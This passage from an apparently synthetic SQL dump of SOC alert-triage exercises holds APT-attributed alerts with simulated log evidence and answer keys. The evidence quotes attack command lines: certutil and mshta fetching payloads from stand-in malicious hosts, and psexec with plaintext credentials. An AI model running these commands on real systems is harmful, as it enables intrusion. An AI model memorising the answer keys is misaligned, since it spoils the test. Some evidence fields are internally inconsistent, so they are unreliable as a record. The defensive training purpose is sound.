exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"cmd.domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for C2 communication in APT29 operations\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of encoded PowerShell for data exfiltration is consistent with APT29\'s tactics, techniques, and procedures.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1419, 'APT28 Internal Reconnaissance with Certutil', 'high', 'Splunk', 'APT28 was observed conducting internal reconnaissance using certutil to download a reconnaissance tool within the network.', 'Lateral Movement', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.3.5.10\",\"dst_ip\":\"10.3.5.20\",\"username\":\"it.support\",\"hostname\":\"Server-Admin-01\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.3.5.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for potential reconnaissance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to download malicious tools\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Certutil was used to download a file, a common method for internal reconnaissance, in line with APT28\'s known behavior.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.966Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.3.5.10\\\",\\\"dst_ip\\\":\\\"10.3.5.20\\\",\\\"username\\\":\\\"it.support\\\",\\\"hostname\\\":\\\"Server-Admin-01\\\",\\\"command_line\\\":\\\"certutil.exe -urlcache -split -f http://malicious-link.com/tool.bin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1420, 'Fancy Bear Credential Dump using mshta', 'critical', 'Cuckoo Sandbox', 'Detected mshta used to execute a malicious HTA file to dump credentials, linked to Fancy Bear\'s operations.', 'Credential Access', 'T1170', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:05:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.4.6.50\",\"dst_ip\":\"10.4.6.51\",\"username\":\"finance.mgr\",\"hostname\":\"Finance-PC-11\",\"command_line\":\"mshta http://malicious-site.com/malicious.hta\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.4.6.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, potentially compromised\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta http://malicious-site.com/malicious.hta\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of HTA files is a known technique for credential dumping\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of mshta to execute malicious HTA files aligns with Fancy Bear\'s credential access strategies.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.967Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.4.6.50\\\",\\\"dst_ip\\\":\\\"10.4.6.51\\\",\\\"username\\\":\\\"finance.mgr\\\",\\\"hostname\\\":\\\"Finance-PC-11\\\",\\\"command_line\\\":\\\"mshta http://malicious-site.com/malicious.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1421, 'APT41 Spear-Phishing Campaign Targeting Energy Sector', 'critical', 'MISP', 'A spear-phishing email was detected attempting to deliver a fileless malware payload using a malicious link. The campaign is attributed to APT41.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"workstation01.energycorp.local\",\"email_sender\":\"alert@energy-updates.com\",\"url\":\"http://malicious-update.com/download?file=update.exe\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-update.com/download?file=update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting malware for phishing campaign\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"alert@energy-updates.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain associated with known phishing campaigns\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains indicators of a known APT41 phishing campaign targeting energy sector employees.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.969Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"workstation01.energycorp.local\\\",\\\"email_sender\\\":\\\"alert@energy-updates.com\\\",\\\"url\\\":\\\"http://malicious-update.com/download?file=update.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1422, 'Lazarus Group Lateral Movement Detected via PSExec', 'high', 'ThreatConnect', 'Suspicious lateral movement activity detected using PSExec from an internal IP associated with the Lazarus Group.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T13:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"192.168.1.15\",\"username\":\"admin\",\"hostname\":\"server01.energycorp.local\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.15 -u admin -p password cmd.exe\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.15 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command used for unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec for lateral movement matches known techniques used by the Lazarus Group.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.970Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01.energycorp.local\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.15 -u admin -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1423, 'Fancy Bear Data Exfiltration via GitHub C2', 'critical', 'Anomali', 'Data exfiltration detected using a GitHub repository for C2 communication. Activity attributed to Fancy Bear/APT28.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T16:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"140.82.112.4\",\"username\":\"analyst\",\"hostname\":\"workstation02.energycorp.local\",\"url\":\"https://github.com/user/repo\"}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used in exfiltration activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://github.com/user/repo\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"GitHub repository used as C2 channel\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Detected exfiltration matches Fancy Bear\'s use of GitHub for covert C2 operations.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.972Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.30\\\",\\\"dst_ip\\\":\\\"140.82.112.4\\\",\\\"username\\\":\\\"analyst\\\",\\\"hostname\\\":\\\"workstation02.energycorp.local\\\",\\\"url\\\":\\\"https://github.com/user/repo\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1424, 'Suspicious Login Attempts from Tor Exit Node', 'medium', 'Recorded Future', 'Multiple failed login attempts detected from a known Tor exit node. Investigation indicates benign activity.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.220.101.19\",\"dst_ip\":\"192.168.3.5\",\"username\":\"guest\",\"hostname\":\"gateway.energycorp.local\",\"failed_attempts\":12}', '2026-03-02 03:16:22', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.220.101.19\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP identified as Tor exit node, possibly used for benign purposes\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login attempts originated from a Tor exit node. No further malicious activity detected, indicating a likely false alarm.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:54:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:53:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:52:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.220.101.19\\\",\\\"dst_ip\\\":\\\"192.168.3.5\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"gateway.energycorp.local\\\",\\\"failed_attempts\\\":12}\"},{\"timestamp\":\"2026-03-02T13:51:06.973Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 